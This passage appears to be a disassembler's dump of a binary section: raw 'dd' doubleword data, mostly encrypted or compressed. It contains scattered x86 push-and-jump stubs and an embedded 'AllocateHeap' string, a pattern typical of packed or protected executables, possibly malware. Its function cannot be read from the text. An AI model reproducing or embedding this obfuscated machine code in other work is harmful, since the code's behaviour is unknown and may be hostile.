		dd 8932E220h, 5EDC9488h, 7F32E220h, 113A9A69h, 23D1566h
		dd 44321564h, 9FBF7406h, 17351D7Bh, 88321A8Fh, 22D4CA66h
		dd 97C62EFFh, 0CC33B8A2h, 0A2AC3A28h, 0F967E0CBh, 19F82014h
		dd 5F6BE0E7h, 45B336D6h, 466623DFh, 0A336F8A7h,	0BC7501A3h
		dd 0D5DA1475h, 60165165h, 771D1A4Bh, 0F899E973h, 88321574h
		dd 7DA83FBEh, 1B1FE3FCh, 0F5B423EDh, 17DC8E6Eh,	0C9C7B423h
		dd 252CF4DBh, 71877560h, 8832138Fh, 0F6B60866h,	4364D75Fh
		dd 0A75275CBh, 9CDA74DFh, 0FE321566h, 0D1BC7579h, 8915B85Ch
		dd 58B5471Ah, 0CEDD4195h, 2D612884h, 706DCCD1h,	0BA3DBA4Bh
		dd 60761627h, 8D894642h, 10732769h, 0DDC74EBEh,	81B3F0EFh
		dd 22321562h, 1136F8E7h, 0A4B51566h, 40BB4942h,	89C7E942h
		dd 113E9B69h, 3D1566h, 44321560h, 22329869h, 0ACBF1566h
		dd 8E350B77h, 4439FC06h, 8F3A1566h, 24B983DBh, 7EAAC4A9h
		dd 3DFC9435h, 431EA078h, 0B81ACBh, 61321566h, 4432156Ah
		dd 0A5E654CDh, 0A9F28954h, 32914A2Dh, 0C0607663h, 676167Fh
		dd 4B89464Eh, 913314Fh,	0A6AC7ADh, 69E9E22Bh, 0C574E6E7h
		dd 501B9E73h, 443CFC3Dh, 0DEDF1566h, 29FF64E6h,	3628D3FAh
		dd 306DD37Dh, 16CDE0CDh, 0D5B34B42h, 88321562h,	1E87E906h
		dd 2BDBD607h, 23321566h, 32A0BADh, 74A26A01h, 2228A40Eh
		dd 35069C66h, 4BAF989Eh, 243418E8h, 22321B8Fh, 9C8DDE66h
		dd 0B90BF6EBh, 4F15733Ah, 955D3F21h, 0C2CD7495h, 88239969h
		dd 48DB1566h, 0E3321566h, 6D18F77Fh, 5CF30D22h,	0AD775161h
		dd 0DDCDE856h, 1BB61A93h, 0E8321566h, 44329369h, 61521566h
		dd 4ECEDF61h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A44BEDE7h
		dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
		dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh,	13798A15h
		dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
		dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0DCE2559h, 0F1438476h
		dd 49AA32DCh, 71BA8C1Bh, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
		dd 38C88260h, 2C5ACB66h, 5CDF0746h, 0D552A632h,	5E0003C6h
		dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0AC26C98Fh, 0B0D9FB57h
		dd 0A44BE9EBh, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
		dd 491B32DCh, 2F168C1Bh, 243756CBh, 2B967513h, 2ABD5414h
		dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 15E9h, 9FCB4D00h
		dd 26h,	3 dup(0)
		dd 19E90000h, 6800000Eh, 60E6B32h, 0F91286E9h, 6C2E68FFh
		dd 7CE9060Eh, 68FFF912h, 60E6CFFh, 0F91272E9h, 6DBA68FFh
		dd 68E9060Eh, 68FFF912h, 60E712Dh, 0F9125EE9h, 745A68FFh
		dd 54E9060Eh, 68FFF912h, 60E7557h, 0F9124AE9h, 6AF126FFh
		dd 556BE8Ch, 0A4B75927h, 411AF8C6h, 0DB809563h,	0CD0A62FDh
		dd 67351348h, 0CEACAFh,	9C6A4813h, 3608E675h, 0D3E9CB52h
		dd 946E84D5h, 878C4AF5h, 7EAB1D4h, 0A389D243h, 0CF437EDEh
		dd 0D5BBEBF6h, 0C7B36C4Eh, 0CBAEF17Eh, 1447CC10h, 23F0AE36h
		dd 4CD55538h, 4E29B096h, 0D378C0B5h, 0BA32AA90h, 0C0AD5133h
		dd 0F305E983h, 3CB8BA4h, 59393ACBh, 56EAB9BCh, 54F9BE32h
		dd 36BAB132h, 565D5953h, 0D7F4B132h, 5BEA32D8h,	56A35834h
		dd 80EEB132h, 0D065D203h, 519C3601h, 8BBAB132h,	830CA4A3h
		dd 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 0F717FB23h, 25FB74F0h
		dd 0FDF53FD5h, 7BB617ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 73F3361Fh, 3F09FFA0h, 0F305E983h
		dd 8DDB8BA4h, 0E7BB1BDh, 0F78D8D06h, 0B8060F07h, 32156644h
		dd 0E9C1CF2Bh, 0D0073102h, 4C783C8h, 60F67549h,	66595160h
		dd 579DCA81h, 61CA8A61h, 0E2816660h, 50611B69h,	8124048Bh
		dd 4C4h, 8B666000h, 0BD8361D7h,	6070FF5h, 83097500h, 73001BDh
		dd 19740006h, 0C08B5350h, 411B8h, 5D858900h, 8D060726h
		dd 9AD0E9Dh, 5BD3FF06h,	1BD8358h, 60730h, 53501774h, 411B8h
		dd 5D858900h, 8D060726h, 9A9AF9Dh, 5BD3FF06h, 9E9F558h
		dd 7C000000h, 0D96978Eh, 0E963CB4Dh, 1870Fh, 50F80000h
		dd 8324048Bh, 800F04C4h, 1, 7E8F8F8h, 9C000000h, 0A20BA410h
		dd 0BF0FD28Dh, 7E95ED2h, 78000000h, 73B93292h, 0C681CE99h
		dd 64BFh, 0FE9h, 0DFAF9E00h, 0C57325F5h, 0BEFB35EFh, 3C43DC0Ah
		dd 3C8BC033h, 71BB6606h, 3EEF8147h, 0B5715433h,	0D6EF8110h
		dd 0E85B20E5h, 5, 804F7C63h, 0BE8CAh, 63A30000h, 3154EDC1h
		dd 18663711h, 14E943h, 935E0000h, 13BBFF21h, 0B6FD2BEh
		dd 38673E8Fh, 0B07800D6h, 5A5BE6EEh, 45BEEF81h,	0B70F5D44h
		dd 0F7B557CFh, 6606048Fh, 9E9DF8Bh, 0FB000000h,	3E792F3Fh
		dd 68BE9A9h, 6604E883h,	370FCA81h, 9C20F881h, 850FFFFFh
		dd 19h,	2BE9DA8Bh, 65000000h, 76390EA4h, 6CB7907Ch, 2E584A4Ah
		dd 2DD35230h, 63E9F834h, 0C4FFFFFFh, 0F6AF7FCCh, 0FE8083E8h
		dd 0C2EB6B18h, 0B1B96020h, 1DE92E0Dh, 0D1000000h, 68FDC1h
		dd 6 dup(0)
		dd 4D2E9h, 0CEB6800h, 8BE9060Fh, 68FFF86Fh, 60F0D73h, 0F86F81E9h
		dd 0ED268FFh, 77E9060Fh, 0F9FFF86Fh, 915F3D1Eh,	2CFAD883h
		dd 0CB9977E4h, 68361447h, 35D0AEADh, 0E675A037h, 7FDC3A08h
		dd 1B40D3A1h, 0B9A26F3Dh, 9E2509DBh, 84D676BCh,	4AC86741h
		dd 159C888Ch, 7EC76B33h, 0A3C675B8h, 86A9B25Fh,	692D10BFh
		dd 0FBAB2BACh, 9152FC3Ch, 967BBFE2h, 0C45DE7C5h, 37E675A1h
		dd 0E593CA51h, 8DD078BFh, 8E875D6Ah, 791578C0h,	0A28494B4h
		dd 0C088391Bh, 487BBE78h, 941B0513h, 78C110B2h,	6245F437h
		dd 2F56EDD2h, 5CE48F0Ch, 300h, 0F764AC6Ah, 0EBF3AF14h
		dd 2E1F7BDEh, 0BFDFFF00h, 189F8534h, 78BFBB35h,	411AFBB9h
		dd 0AE9EE15Eh, 694BD24Ah, 0EE78C063h, 0C4977FABh, 6AF7DAA1h
		dd 5B5ACC1Bh, 70568C95h, 53185EE9h, 6DA46275h, 93B6A571h
		dd 0BD3A1DCCh, 0C257577Ah, 0EDAF361Ch, 326F4C1Eh, 0C64B09EFh
		dd 28E9B795h, 0CD1AFC33h, 0C4251B15h, 312C8h, 3328EF00h
		dd 0CE8D8755h, 6DEE22F0h, 0A51C18Fh, 0A4B75E2Ch, 96412BC6h
		dd 30FEDC7Fh, 0C99775E6h, 6533114Ah, 0FFD1AFACh, 77B2941Bh
		dd 5D3784D6h, 9D148BEh,	67E6AB23h, 50F0C6CCh, 0B0AB6995h
		dd 683140CDh, 0B52D78B9h, 0B9504C2Eh, 0AB8ED178h, 8D05EB2Eh
		dd 50AC8E15h, 0EE3178B9h, 56CE470Bh, 0B94FEDCFh, 71F87278h
		dd 78B9508Fh, 7322D114h, 0D4EC795h, 5008DDEAh, 0D33E78B9h
		dd 238F5188h, 0F7011A9h, 28A13h, 0BBA07700h, 56050FDDh
		dd 0F566AA78h, 92C94917h, 2C2FE6B4h, 1EB9B34Eh,	0B88664F7h
		dd 511FFD5Eh, 0EDBB99C2h, 87593724h, 783A1CA3h,	0E5BF84D6h
		dd 51854A46h, 9EC9324Bh, 0D049C9ACh, 8E9D240Ah,	8B78B8A5h
		dd 42182548h, 0D078B88Eh, 0DFA65D22h, 0ACE49792h, 1B8h
		dd 4E0D04D3h, 8C95A368h, 53C11E6Eh, 0A071B570h,	0DD55DDBBh
		dd 0C84A7456h, 8AB6F97Eh, 6FEFD289h, 0C74E34EAh, 78C159F4h
		dd 5BB979h, 816716DDh, 46A5BBBCh, 0D6B976D4h, 0A1380E1Bh
		dd 2AC678C0h, 0CEB1AA6Ch, 0C3C2793Eh, 0C8E48F7Fh, 5Ch
		dd 0F5D75ED6h, 7A78C098h, 55060B37h, 8C4A0D72h,	0A3B85886h
		dd 270AD1F4h, 866CB2A7h, 2D0F960Eh, 0B27EC76Bh,	8D3C1FF2h
		dd 9B461DAAh, 4C278BFh,	0F51F4B10h, 0C3068366h,	30E4A2A0h
		dd 5E41082Bh, 0C03AFBD1h, 0E4DB8978h, 8FE1265Fh, 0A6328E4h
		dd 0C160EB24h, 0A261A285h, 88000000h, 44D10D04h, 7E2DF417h
		dd 5DFE175Bh, 977E3C3Ah, 0F41DE1C4h, 11004467h,	691843CDh
		dd 6DF8F48Bh, 9B767EC7h, 0C158E2C0h, 0FDBB3319h, 0D8654813h
		dd 78BD0C26h, 896BF26Ah, 0E78BDBCh, 0BC2B0D94h,	6DB078BDh
		dd 1B5EDBBEh, 0BD9E7735h, 570411DFh, 0A4B7CA20h, 0D8D43511h
		dd 12Bh, 3C1A41D6h, 0D7B5A66Eh,	76540709h, 13F16AA8h, 0AD8BD045h
		dd 987D5A12h, 0FF17E5C3h, 63B07E5Ch, 0C54C1AF8h, 2E6B896h
		dd 0D679997Bh, 0A5441E84h, 45CD1104h, 7D2CF316h, 1B40D19Fh
		dd 1EF7B53Dh, 70531A3Dh, 170D040Bh, 0C76BAE90h,	0AF0337Eh
		dd 0C76BA183h, 34E3267Eh, 1744CD11h, 74AAAF39h,	5C68C98Eh
		dd 0C746BEB9h, 25DF66E4h, 6A78C098h, 0A47C4127h, 0E2124503h
		dd 8E3D1EF6h, 0A66F2DABh, 0D057CFB5h, 78C12CEEh, 0D74D3073h
		dd 0C12D6A40h, 0E76EE678h, 78C12D05h, 0A064478Ah, 3E0CEA71h
		dd 8A3E00D7h, 0E4AF87D3h, 7C161235h, 0B3000000h, 2309D148h
		dd 3724EDABh, 8B1A4D14h, 0F3975AA4h, 6F820FF2h,	7478B906h
		dd 0D7FA61B4h, 403E6110h, 0EF5F41C8h, 24E478B8h, 0D7BA69F2h
		dd 7F5DFE13h, 0D8FB60B1h, 0C5BDDACBh, 0A2B958E9h, 82D93B7Fh
		dd 0ECD3655Fh, 0DBA068AFh, 6B4912FFh, 0C4E7749Dh, 0C84C9280h
		dd 0B5C1E493h, 0E6759B59h, 8919FCC3h, 3229E832h, 0D08B8654h
		dd 0DB1ADh, 204E0000h, 1BFD84FCh, 0A07EC76Bh, 4157A5Dh
		dd 0E1254813h, 0C4082B30h, 0A5E90C4Fh, 83C7EA71h, 62A6C992h
		dd 4185A8B3h, 23678AD1h, 74B6EEDh, 2A2B4E0Dh, 81E68956h
		dd 4C6h, 4EE8300h, 5C243487h, 68240489h, 3BCCh,	68241C89h
		dd 36AFh, 56240C89h, 60038468h,	0F6815E6Ah, 6C6F0871h
		dd 89F58955h, 815E5DEBh, 4ECh, 24248900h, 4240483h, 2C815359h
		dd 0A740A624h, 8418F1Bh, 0A6084181h, 8B1BA740h,	8956240Ch
		dd 4C681E6h, 83000000h,	348704C6h, 34FF5C24h, 0C4815B24h
		dd 4, 0F86AD1E9h, 91435FFFh, 9457BB83h,	48AD956Ah, 0B801B165h
		dd 60F1022h, 0E0FFC503h, 11B274ACh, 2097B60Bh, 6BA4F08Ah
		dd 76CF41D6h, 59B9D922h, 655384DBh, 7E294AA0h, 3674CCD5h
		dd 27524CD4h, 8347E4Bh,	63C9E1DBh, 644541ABh, 160CAFF5h
		dd 3102E119h, 4708DA3Eh, 34DF7A49h, 2724B8CCh, 0D49CFD2h
		dd 2F498AE5h, 43E0AC64h, 0EDE9h, 8C666000h, 0F04A8D8h
		dd 0DF84h, 69B58B00h, 8306072Dh, 850F00FEh, 22h, 2C0585C6h
		dd 68450607h, 8E726969h, 1B2DB5FFh, 858D0607h, 60A7B1Fh
		dd 8589D0FFh, 60707D1h,	3E80F08Bh, 31850FE9h, 8D000000h
		dd 0C7DBE85h, 8BD0FF06h, 72FBDBDh, 84C78106h, 8B000011h
		dd 72D69B5h, 0B9F78706h, 8, 0B58BA4F3h,	6072D69h, 1AAF858Dh
		dd 0D0FF060Bh, 1439B58Bh, 0FE830607h, 22850F00h, 0C6000000h
		dd 72C0585h, 0F4685406h, 0FFFF4EBEh, 71B2DB5h, 1F858D06h
		dd 0FF060A7Bh, 398589D0h, 8B060714h, 0E93E80F0h, 3A850Fh
		dd 0B58B0000h, 6071439h, 7DBE858Dh, 0D0FF060Ch,	2FBDBD8Bh
		dd 0C7810607h, 1184h, 8B08C783h, 71439B5h, 0B9F78706h
		dd 8, 0B58BA4F3h, 6071439h, 1AAF858Dh, 0D0FF060Bh, 858DC361h
		dd 60F1107h, 7918589h, 8D8D0607h, 60F128Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 5DC35141h, 87BB515h
		dd 0E5958BF8h, 89060700h, 706798Dh, 85C7F806h, 6072CE5h
		dd 7108h, 12E9h, 8BDF0500h, 0BEF5BE6Ch,	9C4B37DCh, 0EF2D64ABh
		dd 0C78DA54Dh, 72D0585h, 6, 0FFC58A00h,	7157DB5h, 0F7B70F06h
		dd 0BD95FFF9h, 0E9060700h, 0Eh,	736DD12Ah, 2445480Dh, 9E241E3Fh
		dd 6A64B1h, 16B595FFh, 0C08B0607h, 7F231CEBh, 6A34B7Ch
		dd 0D11D7CD9h, 0AC18297Eh, 7B2FD1FCh, 0D37CA7DAh, 0CA6EAAD7h
		dd 5E983D2h, 1C000000h,	134E88h, 53AE9h, 358BF00h, 9EBD5725h
		dd 3D1EF2C0h, 0DA81915Fh, 74E72EFCh, 6671FB96h,	0CEACAFh
		dd 99674516h, 3503E17Ah, 0CFA17FDCh, 7D8264EBh,	2D0784D6h
		dd 328DB075h, 0A197BF64h, 0FFC6E972h, 4086D50h,	0E72B4E0Dh
		dd 0C74F2D2Eh, 4A74AB02h, 0F2D55290h, 5578E32Eh, 34DE0011h
		dd 8E3D0427h, 0C7A930A8h, 4C7EC7B8h, 0F1E21085h, 0F7A62441h
		dd 0FF155914h, 12DA395Ch, 0BBA071ADh, 62F917D5h, 0C381097Fh
		dd 63270A51h, 77E42EB0h, 0F224E2C8h, 9EBABDE5h,	45F46091h
		dd 0F51EEC62h, 52C28066h, 0B0D3888Ch, 0D3173AE9h, 876A1942h
		dd 968E88CCh, 0C82B2D0Fh, 3C6FB27Eh, 4C05FAE4h,	0DF02B1E5h
		dd 0BDE07B9Bh, 0A0C39879h, 0F0AF14A6h, 0ED298EFCh, 89573526h
		dd 0A3B0D388h, 7EC76FCCh, 0B7AD12F4h, 5C3F1CF9h, 88ADC8BDh
		dd 82C3DEh, 4EA0000h, 0AA684E0Dh, 0BD2F566h, 52833DFh
		dd 93A05B3Eh, 7EC76BBBh, 85BA01E3h, 0DE88B200h,	0A183904Eh
		dd 0C75F381Ah, 0CB7ABD7Eh, 98AEE1A8h
		dd 4AC04911h, 181C2A5h,	0A8000000h, 0B3ED854Ah,	7938348Eh
		dd 1942D296h, 0DC3AF8F6h, 3CD89C7Fh, 5AB8FC1Fh,	7B9ADE01h
		dd 9B79BDE0h, 0BC599DC0h, 655A8E9Fh, 5027EF36h,	0C3508E86h
		dd 4B82514h, 38E7F786h,	34DDAB89h, 0FCC14927h, 1295758h
		dd 1E8366C4h, 644A1104h, 0C8EB70A6h, 65631E01h,	1F9D42A0h
		dd 11F41D9Fh, 0FC17C74Dh, 0F7BFA128h, 1447EC7h,	0F8BDA352h
		dd 6FCB4C36h, 9E593CE7h, 36E0D7DFh, 1E967CDFh, 0C7ECB597h
		dd 0E00AEC7Eh, 6D9E08D7h, 0EC624588h, 8268F31Eh, 83924CC4h
		dd 3FEEB5D8h, 6CF0D259h, 32757EC7h, 0C050944Fh,	0B63DB59Bh
		dd 7EC76CD4h, 78331659h, 5679E234h, 395CFF12h, 4E0D727Ah
		dd 50F7CC7Ah, 0DE88B545h, 7146h, 11046D00h, 6429274Ah
		dd 0F185BFA4h, 6F331620h, 5CD4BAA1h, 0C82AF3D5h, 5235787Eh
		dd 0B703897h, 371546CFh, 8CAFAC69h, 0D35ACA48h,	7EC82AF1h
		dd 1E08AF76h, 886D3FD9h, 1B072AD9h, 0A4F1166Dh,	0E7DE8883h
		dd 41h,	4A11040Eh, 38EA9F64h, 9F99B1BBh, 0C7833618h, 0C978BB7Eh
		dd 2CE72BE6h, 4EFD5EB2h, 0E9CE022Bh, 0FF5CB573h, 9EBD581Ch
		dd 100451C0h, 441B284Bh, 6C7EC76Bh, 770E358Ah, 14DE88B1h
		dd 1, 4F0C043Bh, 1CB9A469h, 4417E198h, 0AF62A661h, 0D04589ACh
		dd 8F1D688Bh, 1135C38h,	8CCF4672h, 7D420A69h, 0C7BC2A1Eh
		dd 8866F51Bh, 0DDC31BFEh, 0C025CF56h, 0A389CC78h, 0EEC2A42Bh
		dd 44778C0h, 0EF226621h, 48068E6Ch, 0E9AD90CBh,	8F4D3328h
		dd 3CF7DA81h, 0C893803Eh, 0EE8058E5h, 0AFD178C0h, 0B8D229EAh
		dd 1E44281h, 41D00A71h,	0A36E3C1Ah, 0FD14D2B8h,	39D82B5Eh
		dd 61010409h, 927FC37Eh, 0DFE7A6C9h, 88D33E98h,	108401AAh
		dd 52CAE48Fh, 0C0FFE9CBh, 482B6E78h, 10A07h, 8C4A2E00h
		dd 73F3D685h, 0CB5238EEh, 78C06F50h, 6BAFD215h,	9D7B5A6h
		dd 203BD608h, 0A18736FDh, 0FE6323DCh, 0F6B101D0h, 2A3C6FD7h
		dd 9D583B5Ch, 0BDA3B859h, 3EDCBE45h, 1E6178C0h,	0B9C1803Bh
		dd 62F918C2h, 0DDAADB84h, 45E1E48Fh, 8000000h, 0C388D048h
		dd 8E929E2Eh, 0DB6248F7h, 0FEC780D9h, 0B7755B9Eh, 14DBFE5Dh
		dd 87697631h, 0FFEC781h, 0C5E2CA8Fh, 0DFFCBA43h, 0ED57FCACh
		dd 56396A34h, 0F169F1C6h, 0BCBE452Bh, 817EC820h, 78DA603Eh
		dd 77000000h, 2309D148h, 0BF8BB19Ch, 10337678h,	301645CCh
		dd 4C4F31B8h, 91D478C0h, 0CAADAE65h, 0D08B8654h, 0F3E42CEAh
		dd 1253F592h, 85A85793h, 1320DBBEh, 78BF7B3Eh, 99BC9F74h
		dd 779AC155h, 0D37AE133h, 96A7F4CBh, 50C11D62h,	0BEA32D0Bh
		dd 853427EBh, 9011189Fh, 0CB0E72B0h, 4E66DE5h, 8972B068h
		dd 64A86346h, 7F8BAEADh, 0ADB4AA11h, 1088F75h, 0FE6CA17Dh
		dd 486EDDBBh, 5E2309D1h, 48678F86h, 0CC4A2DC6h,	0B95A3E45h
		dd 0D5F83B78h, 0FDDB8091h, 14FCE22Fh, 68759847h, 8377C120h
		dd 0D20C733Bh, 703E1C3Fh, 5397BAA1h, 35799CBFh,	6C4AF6E1h
		dd 8C30DF2Bh, 9E76BADDh, 208E9ABDh, 9A08FC5Bh, 0C618F925h
		dd 0DB80904Eh, 9342F1B8h, 312AE7B5h, 15120Eh, 4AAF0000h
		dd 169D878Ch, 7EC76B34h, 9BC776B9h, 0F9C0E378h,	4636E16h
		dd 0E1254813h, 0C4082B30h, 0A5E90C4Fh, 83C7EA71h, 62A6C992h
		dd 4185A8B3h, 23678AD1h, 74B6EEDh, 2A2B4E0Dh, 81E68956h
		dd 4C6h, 4EE8300h, 5C243487h, 68240C89h, 0B60h,	51240489h
		dd 0C181E189h, 4, 4E981h, 0C870000h, 14895C24h,	0BBBA5224h
		dd 89060F12h, 24148BD0h, 4C481h, 0EC810000h, 4,	83242489h
		dd 5A042404h, 7CE868h, 24048900h, 0FF08428Fh, 835A2434h
		dd 48B04C4h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 6384E95Ch, 6A11FFF8h, 0D8EF32E0h, 763BB3CCh,	0B853139Eh
		dd 60F176Eh, 0E0FFC503h, 76B0F098h, 7D4B8B8Ah, 6F7732A5h
		dd 7D250C04h, 7E150DC8h, 1D0774E5h, 0D9E2AE2h, 207A13Eh
		dd 10086F5Ch, 42594885h, 387DC169h, 69C5F92Dh, 5F4942E2h
		dd 4881E976h, 26A36CB7h, 48DCFC02h, 6DCA40BFh, 27AB6C7Ah
		dd 72B44F28h, 2CC8FC4Dh, 3F273838h, 129BFD1Ch, 19199A97h
		dd 69CAFA64h, 4F217C99h, 53FFD99h, 459E084h, 3B423B7Eh
		dd 49E9h, 3EBFCE00h, 6C74521Ch,	6F6C6C41h, 65746163h, 70616548h
		dd 14000000h, 0Ch dup(0)
		dd 6EE90000h, 68000011h, 60F1AD1h, 0F862A1E9h, 1BD268FFh
		dd 97E9060Fh, 68FFF862h, 60F1E32h, 0F8628DE9h, 1F5368FFh
		dd 83E9060Fh, 68FFF862h, 60F22CCh, 0F86279E9h, 237468FFh
		dd 6FE9060Fh, 68FFF862h, 60F23BDh, 0F86265E9h, 24E768FFh
		dd 5BE9060Fh, 68FFF862h, 60F259Ah, 0F86251E9h, 25FF68FFh
		dd 47E9060Fh, 68FFF862h, 60F27BFh, 0F8623DE9h, 28BA68FFh
		dd 33E9060Fh, 3DFFF862h, 0D5A381DAh, 703E1C3Fh,	0FDDBBA0h
		dd 0AC7A5803h, 7914F269h, 2A31E4F3h, 0C3987E4Ch, 5FFC17E5h
		dd 0FD5EB381h, 0E2694D1Fh, 84D68400h, 40CAB85h,	0E72B4E0Dh
		dd 0CA0E312Ah, 0B42C1249h, 0C76B4B2Dh, 0AA8DD07Eh, 0C987E3EFh
		dd 9D2D104Bh, 4615FC26h, 0E07B9A68h, 47DD3402h,	0C76ADEC0h
		dd 7120637Eh, 0AA8C138Bh, 2F7EC76Bh, 754C0ECh, 7F3A1DE4h
		dd 0C74ED63Bh, 7EC76AE5h, 9A78276Ah, 139A0910h,	7EC76B31h
		dd 0DEC473B6h, 6AFDDF66h, 3F827EC7h, 8457DE5Ch,	978C07Bh
		dd 0C096A3C6h, 4E78C05Bh, 6124DBA0h, 2AE48FC5h,	4Dh, 9D14851h
		dd 9BC59C23h, 0FF4278BFh, 381AA119h, 0BD78C03Bh, 204318FDh
		dd 0CC7AA59h, 9AC1500Eh, 3B542AB7h, 8C8A78C0h, 0AC68ACCFh
		dd 0C5CD8CAFh, 1E36AFEh, 8678C03Bh, 24C09443h, 0CBAEAD66h
		dd 0C6BF443Bh, 0C5E48FE1h, 10Bh, 4E0D04ECh, 96682D2Bh
		dd 0B4654B8Dh, 61FA1642h, 5BBA7Eh, 0E37899DDh, 84D73FFDh
		dd 0BFA2B958h, 0A51C004h, 7AA0952Ch, 0FB167EC7h, 55BC7A60h
		dd 739FE306h, 4FFEC5E8h, 0E928F66Ch, 8D148C72h,	7EC773ABh
		dd 72C6A82Fh, 84B7EC7h,	4022A923h, 0C57EC773h, 35F0D382h
		dd 0C2997937h, 24FA5FDFh, 78C4B73Eh, 468978C0h,	0A37BDE68h
		dd 13F936BDh, 0BD3572B6h, 0B6BC5436h, 0FA19D972h, 0C8773E61h
		dd 0BC795BE2h, 0BBFE72B6h, 32185BD8h, 0DCBAA174h, 1D54070Eh
		dd 17ABC9E3h, 0A2FFFB5Ch, 0D500000Eh, 6D3B1942h, 8D6B4A7h
		dd 0A7755308h, 4412F06Bh, 11AC8AD1h, 0C2997C5Bh, 5B0016E4h
		dd 0F764AF7Dh, 95C64B19h, 7A01E5B7h, 84D68598h,	4AA4431Dh
		dd 0B957878Ch, 9D0F3A2h, 442734DDh, 0E0C69580h,	2FC4561Bh
		dd 0D5B8FDB3h, 0A480915Fh, 0C7C83B1Dh, 5638BF7Eh, 0DB7EC7C8h
		dd 1FF3B398h, 0A352193Ch, 0C85436BDh, 96D97EC7h, 489A09E7h
		dd 9C2309D1h, 78BF9BC5h, 5F41C842h, 0E478C03Bh,	0C2CFF2A1h
		dd 78C03AECh, 0DF66DE7Ah, 78C03AFDh, 0CC5C3F82h, 0E13550F7h
		dd 0A119E48Fh, 0C02F381Ah, 977ABD78h, 0AD56h, 0D047D00h
		dd 2EE72B4Eh, 940C0A2Dh, 2B203BD6h, 7EC76B49h, 1BA88BCEh
		dd 7EC76E26h, 8E6759Ch,	0C4FC280h, 0AFAC6529h, 4D958C8Ch
		dd 6BEDE067h, 6FB278C0h, 95120791h, 0C05C2C0Eh,	0BF6EB178h
		dd 21E52D9h, 206372B6h,	0C2997C3Ah, 5CFF16E4h, 0ABD3E525h
		dd 0FDF95A17h, 0DA1h, 3C1A41D6h, 0D7B5A66Eh, 76540709h
		dd 13F16AA8h, 0AD8BD045h, 987D5A12h, 0FF17E5C3h, 63B07E5Ch
		dd 0C54C1AF8h, 2E6B896h, 0D686997Bh, 0A5441E84h, 8C131104h
		dd 7EC76BAAh, 573DEC2Fh, 6B7658DFh, 0B8FB7EC7h,	80915FD5h
		dd 0A23D4157h, 45F49291h, 0D04F867h, 8303A2CAh,	0B261CC04h
		dd 95C64B8Fh, 0A1712FB7h, 0EDD097BAh, 0C8578A60h, 0A51C07Eh
		dd 0A8B35E2Ch, 8BD04185h, 0DAA1A968h, 0BFC61100h, 54BC5EE8h
		dd 47C6211h, 968BD046h,	7EC7B7B4h, 9D13F639h, 0EF745015h
		dd 0B49173FAh, 0D3167EC7h, 0FC511CA0h, 571E411Ah, 0F28975A8h
		dd 0F363F66Ah, 0F0147110h, 7C3ADE87h, 0DAA1C497h, 0B1B6F7h
		dd 48DD0000h, 0AB2309D1h, 6ACAAC33h, 0C74E7EC7h, 7EC76AE5h
		dd 0FF42276Ah, 0D06011CCh, 0F2D58990h, 0C0925E65h, 0F5185B78h
		dd 84D739F7h, 733E14A1h, 0A17478C0h, 0C05397BAh, 0B1B9789Bh
		dd 0BB98DCAh, 0ADF68FB4h, 6895E48Fh, 0A3000000h, 67AF2FE5h
		dd 5B0AD1F4h, 643B1378h, 0DE7EC76Bh, 36BDA37Bh,	78C07A33h
		dd 9D7B5F8h, 0AB694F0Ch, 5510F368h, 7D99CC55h, 0E14A005Ah
		dd 0ED9CED3Bh, 0E80B50C1h, 58C7221h, 72B8F5E6h,	0EEF023E3h
		dd 0D5843328h, 71EA29F7h, 13CB4E4Eh, 2FBA62Dh, 7A3F6CB1h
		dd 0BF9912C8h, 3ADC082Eh, 7EC13E21h, 9241AA0h, 48B70000h
		dd 0D35AD2D1h, 7EC76AF1h, 5C3E3376h, 0E17EC76Bh, 0BC6BF021h
		dd 0F1AF270Dh, 0CA573A21h, 78BF930Bh, 0D5E20548h, 78C041FFh
		dd 6398DF8Dh, 0E48FDE22h, 2569h, 1B27700h, 0DC4CE0F1h
		dd 0D1F467ACh, 13785B0Ah, 0C76B653Bh, 0D434187Eh, 0B8FFFFFBh
		dd 6AD7B940h, 195C7EC7h, 0D148D136h, 0C19C2309h, 4678C06Dh
		dd 0FDD3E003h, 8B78C064h, 53802AEFh, 9B813A61h,	0CD5328B8h
		dd 6F55060Fh, 0BF8D06E8h, 65488B78h, 9093BFC6h,	528CCE4h
		dd 0F3F30000h, 0FD15D318h, 7AE1325Eh, 2DAD9057h, 8108EE34h
		dd 78BF979Eh, 7DF0E023h, 0EFA6E88h, 2107DF42h, 0F33C8F9Ah
		dd 2E5194C8h, 0BD9E7230h, 70F0D39Ah, 0C44B31E9h, 0C2E95A0Fh
		dd 6B9F864Bh, 5DE3B77Eh, 0BC83A6B5h, 6AAD2A0Dh,	104BC684h
		dd 0AEAD6432h, 79989D77h, 4541A2C7h, 0B41h, 9C7AE136h
		dd 371546CEh, 0D6B4A769h, 73510A08h, 0DEB70A5h,	38DDFA72h
		dd 9F774523h, 310DEBCh,	65AC7A58h, 624618F6h, 0D688F9DBh
		dd 5A47E84h, 2B4E0D04h,	3B78682Dh, 0FD27E8E9h, 5F879A1Ah
		dd 0CF430179h, 3154070Fh, 0D198BB6Ah, 0BEE6DA5h, 0C13AFB7Eh
		dd 0F01BF78h, 0F11447CFh, 1B987B2Ah, 0DF34F2D8h, 43D09E7Ch
		dd 0BFE2799Bh, 0EB6349F8h, 0C1248264h, 0E1C40778h, 0F2B02826h
		dd 51183B20h, 0C1247A5Ch, 0D43FFF78h, 0EE9D6487h, 249C7E0Bh
		dd 3B1178C1h, 0B778C134h, 614417F9h, 0BCA278E1h, 0B931DA35h
		dd 361C5F72h, 0DCBF9C78h, 0F33E1421h, 1ECC72B9h, 29E3A259h
